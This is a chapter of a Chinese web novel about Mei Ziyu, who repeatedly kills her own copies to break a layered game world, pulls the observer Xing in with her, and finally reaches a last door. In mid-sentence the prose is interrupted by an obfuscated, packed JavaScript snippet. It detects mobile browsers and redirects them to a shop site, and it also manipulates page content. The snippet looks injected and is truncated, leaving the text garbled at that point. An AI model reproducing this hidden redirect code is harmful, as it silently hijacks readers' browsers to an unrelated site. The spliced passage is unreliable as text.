现在它夺走了主导权,是不是可以在那里大杀四方? 新的狱警从食堂口蜂拥而至之前,头发带着梅子喻,重新踏入了第一条黑暗之路。 镜子迷宫。 梅子喻猛地站直,两手分别握住两缕头发,牢牢地握在手中。 进入了工作场所,对于食堂的禁令也就解除了。现在,她终于能够思考,也能自由地控制她的身体。 ——让我杀! ——杀了你! 头发不满地叫,梅子喻没理它,只是转过身去,对跟着她进入镜子迷宫的星问道:“你跟过来做什么?” “……我得一直看着你。”星无奈地耸了耸肩,“被动的。” 梅子喻倒是理解他的意思:无法思考后,玩家就进入了被动状态,星无意识地观测着她,并跟了过来。 上次进入镜子迷宫时,这里就没有任何狱警。此刻他们也没有跟过来的迹象,一时半会倒是安全。 这里只有他们两人,正适合说些只有他们两人知道的秘密。 看着梅子喻脸上几乎要溢出的探究欲,星笑了笑,说道:“你问吧,没有什么禁令。我知道的都能说。” 说罢,饶有兴趣地望着她,他十分好奇,知晓秘密后,她最想知道的是什么。 “你存在的意义是什么?” “观测。” 梅子喻脑海中有无穷多的问题,无数更加好奇和疑惑的事情,她也没想到,自己最先问出口的,会是这句话。 不过星果断又简短的回答,让她没有追问下去。关于意义,并不需要更多解释,星作为观测者,存在的意义就只是观测,就像她作为一个生存者,存在的意义也就只是生存而已。 “所有人……都是数据吗?” “嗯。” “那我们,都算人类吗?” “不算。人类的定义是,你们都想成为,且自认为是,但并不是的东西。” “你呢?” “我也不算。但我和你们不同的地方在于,从一开始我就没有作为人类的自我定位,也没有这样的执念。‘人类’这个概念对我来说,没什么特别的。” “所以,世界的真相是什么?” “哪有什么所谓真相。”星淡淡地说道:“你看到的就是真相。” 梅子喻皱起了眉。这个问题,不该是这样简单的回答。但如果星给她抛上来一堆外面世界的说明,对她而言确实也没什么意义。 只有她去往外界,探究才有意义。 “你那时说,我是你的什么?” 星想起,这是那段过去中,他未说完的那句话。 “你是我第一个观测对象。不过,因为你死的次数太多,有一段时间我已经放弃了你。没想到,后来你进化得这么好,我就又观察了你一阵子,直到锁定了你这个个体。” 进化。这个词让梅子喻浑身一颤。物种的进化,靠的是一代接着一代的繁衍,而她作为梅子喻的进化,却靠的是一个又一个替身的死亡。 在无穷多的概率和偶然之中,有这么一个她恰巧躲过了每一次危机,并在那天被他看上,邀请到了游戏里,还得到了成就的加成。 “我和其他的替身都一样吗?”梅子喻问道。 应该是不一样的。那个在“现实”中代替她生活的替身搅得她的生活一团乱,看起来和她的性格十分不一样。但也有可能,那也只是一些选择上的概率问题。有一些瞬间,她也想过掀翻老板的铺子,尽情地撒野发疯,但她在这些瞬间选择了不去做。那么自然也可能有一个她,在这些瞬间都选择了遵从心意,自由地生活。 “对我来说,都一样。不过……”星上下打量了她一番,目光最后停留在她的双眼:“你大概不太一样……吧。”他说的有些迟疑,“或许是我选中你的时候,对我来说,你就变得不一样了。” “因为你接触我了。”梅子喻忽然笑了笑:“你完了。” “……什么?” “你接触了被观测的人,你觉得这些一样id的替身中有一个有点特殊。你知道这说明什么吗?” “……” “说明你已经不再是一个纯粹的观测者了,现在你是一个和我一样的,玩家。你作为观测者的意义已经终结了。也就是说,你也终结了。” “你是想‘说服’我吗?”星仍旧是那副淡淡笑容,表情并无变动:“很抱歉,我不是‘替身’,你的成就buff对我无用,所以我不会觉得你说的话有道理。” “这个世界里的观测者,难道只有你一个吗?” “……我不知道。我对这件事也并不好奇。” “观测者有很多。你们存在的意义都一样,‘观测’,甚至连一点细微的区别都没有,你们之间甚至没有我和我替身之间的区别大。你们极高的相似性,难道不正说明你们是彼此的替身吗?” “……” “你动摇了,不是么。你动摇的时候,就已经在被我说服了。如果你觉得我说的有那么一丝有道理,更加说明你就是会被我的‘说服’buff影响到的一个替身。 “——你只是一个替身,和我一样。只不过我被施加了‘生存’的目标,你被施加了‘观测’的目标。我们之间并没有任何区别。而当我意识到了这一点,我可以放弃生存者,变成观测者,当你被我观测时,你也就从观测者变成了被观测者——变得和我一样了。” “……” 星的笑容僵硬地维持着,没有说任何话。 梅子喻却轻松一笑,跳过了这个话题,突兀地问道:“想杀了我吗?” “什么?”星一愣,却发现她好像并没有在问他,而是在自言自语。她很快又和他对上视线,说道:“去你的过去看看吧。去看看你如何观测我的,以及,我的死状。” “……可以啊。”星走到她身侧与她并肩,微笑道:“你很快就会知道,即使你和我一起去看了我的过去,你也不会变成观测者的。我们之间的是定义的区别,并不是你用意念就能转变的事情。” 星敲响了左边的镜子,两人踏入其中。 过去的梅子喻在水中下沉,过去的星记录着分数。现在的两人则站在河岸上,沉默地观望。 星没想到她什么也没做,问道:“你只是想看自己再死一遍吗?” “我说我们都一样,自然是有道理的。”梅子喻没有直接回应,像是自言自语一般,望着自己挣扎着的身影,说道:“观测者,你明明看到了那些事情,为什么还固执地想着你接收到的那些‘定义’呢?你看着我这一路走过来,你看到了纸神,看到了小美,看到了那具模具身体是我的替身,怎么还会想不明白这件事呢。” “……你想说什么?” “去杀吧。”又是一具突兀的指示句,梅子喻说出口后,头发忽地扬起来,冲入水中。 星忽然想明白,这句话,和之前是否想杀她的询问,都是对头发说的。 她冲到水底,头发化成利刃,熟练地穿透替身的身子,比死神更先一步夺走自己的性命。他看到她的身上弹出了一行字,是系统的说明—— 【解锁成就:唯一性】 【成就说明:你杀死了一个和你高度相似的替身。你想成为那个唯一的存在吗?】 【成就buff:暂无。请尽量减少此类行为,避免引发bug。】 这不是之前解锁过的成就吗?怎么会重复出现? 星察觉到一丝异样,紧急翻动本子,在日志里翻到了“唯一性的不唯一性”。 在他失去思考的空隙,由她的头发替身激发的那个成就。 ——他知道她要做什么了。 场景交替中,她飞快地杀掉了下一个自己,一次接着一次。 ——她要通过无数次斩杀自己替身的方式,刷出一个bug来。 之前还从未有玩家做出过这样的举动。星的头上冒出冷汗,隐隐觉得事情超出了他的控制,他朝梅子喻喊道:“停下吧,这样做没有意义!” 她没有听,只是快步冲向下一个场景,进行下一次杀戮。 见她已经完全失控,星匆匆地将本子翻到最新一页,在上面写:观测目标超出控制,需要帮助 本子:需要什么帮助? 星写道:成就激发概率调到最低 本子:已调整 概率从10%降到了0.0001%,最低值。但只要这个值大于零,这个成就仍会在杀替身时必然发生。 事情没有发生任何变化。沾满自身鲜血的女人只顾着忘情地砍,场景快速向后倒退,死亡到来的越来越快。 星:继续这样下去,会触发bug吗? 本子:触发bug是概率事件,只要这个成就出现的次数够多,就一定会 次数够多? 多少次,算够多呢。 星不断地向前翻着本子,却翻不到尽头。在无穷多的时间里,他已经观测了她的死亡无数次。这个数字足够大,大到只要梅子喻执着地杀死每一个自己,就一定会有一次触碰那个足够小的概率,激发bug。 星:快阻止她 本子:为什么要阻止? 本子:你只要观测就好了 星:销毁她 本子:你没有销毁目标的权限 本子:你只是观测者,非必要时刻,还请遵循观测者规则 本子:你在慌乱什么? “……” 是啊,他有什么可慌的。即使这样的事情从未发生过,也并不意味着有什么危险。 他只需要观测就好了。 星深吸一口气,强制自己冷静下来。他知道自己在害怕什么,但他不敢细想,只是安慰自己:那只是一种极微小的可能性罢了,如果他不能改变什么,就并不用过多担心—— 轰—— 场景轰然倒塌,世界一片苍茫。无边界的白覆盖了全部视野。空旷的无限空间里,只有星和梅子喻两人相视而立。 警报声猝然响起。 【警告,你已触发bug】 【即将强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267845|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制退出第二层游戏】 花屏闪烁,从上至下揭开新世界的帷幕,新的景色徐徐展开,破旧昏暗的小房间,狭窄的走廊,以及一个崭新的微波炉。 进入游戏之前,她生存的小房间。也是她一直认定为“现实”的第一层游戏。 但知道真相后,回到这里,似乎也变得没什么意义了。 梅子喻在熟悉的屋子里张望一圈,一时半会都没说话。 “何必呢,最后也不过是回到了这里。”星叹了口气,面上回复了平静的神色,“双手沾满自己的血,好受吗?” “……没什么特别的感受。”梅子喻走到水池边,静静地洗干净双手,用毛糙的毛巾简略地擦了下脸。镜中的她没了长发,看上去只是一个平平无奇的普通人。游戏中的一切像一场梦一样,醒来之后,那些事就再也找不到任何存在过的痕迹。 她还有很多事要做,要去二层游戏里救出诗童,要找到更多生存的理由,然后以全新的心态重新开始名为现实的游戏…… 镜子之中,自己的脸旁,出现了一张和自己一样,但十分惊诧的脸。 ……是她在现实中的替身。 梅子喻和星同一时间回过头去,和那茫然无知的替身对视。替身端着外卖呆在原地,喃喃自语道:“我在做梦吗?” 梅子喻轻笑起来,走上前去。 “你要做什么?”星心中升起一丝不祥的预感,“在一层游戏里很多规则都不存在。不要再做徒劳的尝试了!” 她的双手摸上替身脖颈。 “……做我能做的任何事。” 然后,狠狠勒紧。 一分半后,在一声不知来自谁的轻轻叹息之中,系统弹出了一条成就。 【解锁成就:唯一性】 【成就说明:你杀死了一个和你高度相似的替身。你想成为那个唯一的存在吗?】 【成就buff:暂无。请尽量减少此类行为,避免引发bug。】 随后,是第二条。 【成就:成就定义者】 【说明:你触发了一万个成就。你掌握了所有成就,你成为了成就的定义者。】 【buff:你的一切举动,都会增加你的各项属性值,并触发各种随机事件】 “……” 星脸色一黑,翻开本子,飞快写下:概率不是已经调到最低了吗?这明明是概率触发的成就,为什么还会 最后一笔没能写完,笔锋飙起拖了出去,人已不在原地,徒留本子坠落在地,缓缓输出着字句。 本子:此时此刻,已经发生过很多次了 本子:不幸的是,这次刚好触发了那个极低的概率 本子:观测者……不 本子:玩家。 一双手低下去,捡起了本子,简略地翻了一遍,又在最后一页写上: 他成为玩家了吗? 本子:是的 本子:因为概率 “噢。”梅子喻轻轻应了一声,没有在意这件事情。比起星因为随机事件从观测者变成玩家外,有更多吸引她目光的事情—— 几何形状的物品,一秒钟生死上万次的盆栽,千变万化的风景。不存在物理规律、时间以及因果律的世界,一切都充满变动。 一层游戏已经没了“现实”的模样,向前一步,就到了天涯海角之外,身边的人变成了正方形、三角形,并每秒钟改变着边的数量。他们向她搭话,说出来的语言是一排乱码,但她明白他们的意思,用乱码回应。他们成为了她的朋友,然后飞快地死去了,变成花,在一瞬间长成了参天大树。 她继续向前,来到了深海之下,看到了普通的鱼,和进化成超鱼的鱼。确实有那么一种可能性,超鱼奴役了人类。有时这是一个谎言,有时这不是。不过不论这是不是谎言,在绝大部分时候,人类都走向灭亡。也有很少的概率里,他们继续蓬勃发展着,进化着。 她看到了很多门,一扇扇地打开。有她去过的过去和未来,也有她没去过的新世界。比如某扇门后的游戏世界里,作为玩家的星摇晃着她的肩膀,近乎绝望地喊道:“这其实是幻境对不对?这其实是在镜子迷宫的我的‘未来’里,对不对?” 梅子喻不知道要怎么回答,只能说:“倒是有这种可能性。” 她摆脱了他的纠缠,走向下一扇门。那里的诗童成功逃离了监狱游戏,她以玩家的身份和诗童一起度过了三十一关,在“通关游戏”的画面里回到了一层游戏,又以普通的人类的身份、最好朋友的关系度过了平凡的一生,直到死,也没有她以外的人知道任何世界的真相。 又一扇门,这里二层游戏未曾存在过。她在一层游戏的街道里闲逛,看到了在街上购物玩耍的诗童和小梦。她与她们搭话,问路,道过再见后继续向前。诗童呆呆地回过头去,看她离去的背影,觉得怅然若失。 但她并没什么失去的,她还会继续向前,打开下一扇门,遍历下一种可能性,在每一种生存的可能里,寻找到下一条生存意义。 …… 【警告,数据溢出】 【警告,数据溢出】 【警告,数据溢出】 …… …… 【你已逼近存储边缘】 当然,遍历过所有的可能性后,最终的结果趋近于唯一的固定值。 她的面前出现了唯一的一道门,门上是一具求极限公式。她知道,这是这个世界的底层代码。 系统弹出了最后一条成就。 【最终成就:唯一解】 【说明:你理解了一切】 【buff:你即将真正离开游戏,去面对真正的“现实”】 外面,就是公式背后的东西了吗? 即使经历了所有的可能性,此刻梅子喻仍旧有些紧张。久未起波澜的心脏激烈地搏动起来,咚咚,咚咚。很久很久以前,她听到门外的步伐声,期待着打开门会遇到一个和她一起跑步的朋友。虽然她没有找到那个朋友,但找到了更多,恐怖的、无情的、温暖的、觉醒的人们,最后那些光怪陆离的世界和情绪都坍塌成了可能性之一,变成一种体验。 一种体验结束,便要去追寻下一种。 所以没什么好怕的,她要打开这扇门了,不管外面是什么。 她按下门把手,打开了门, 迎接她的美好明天。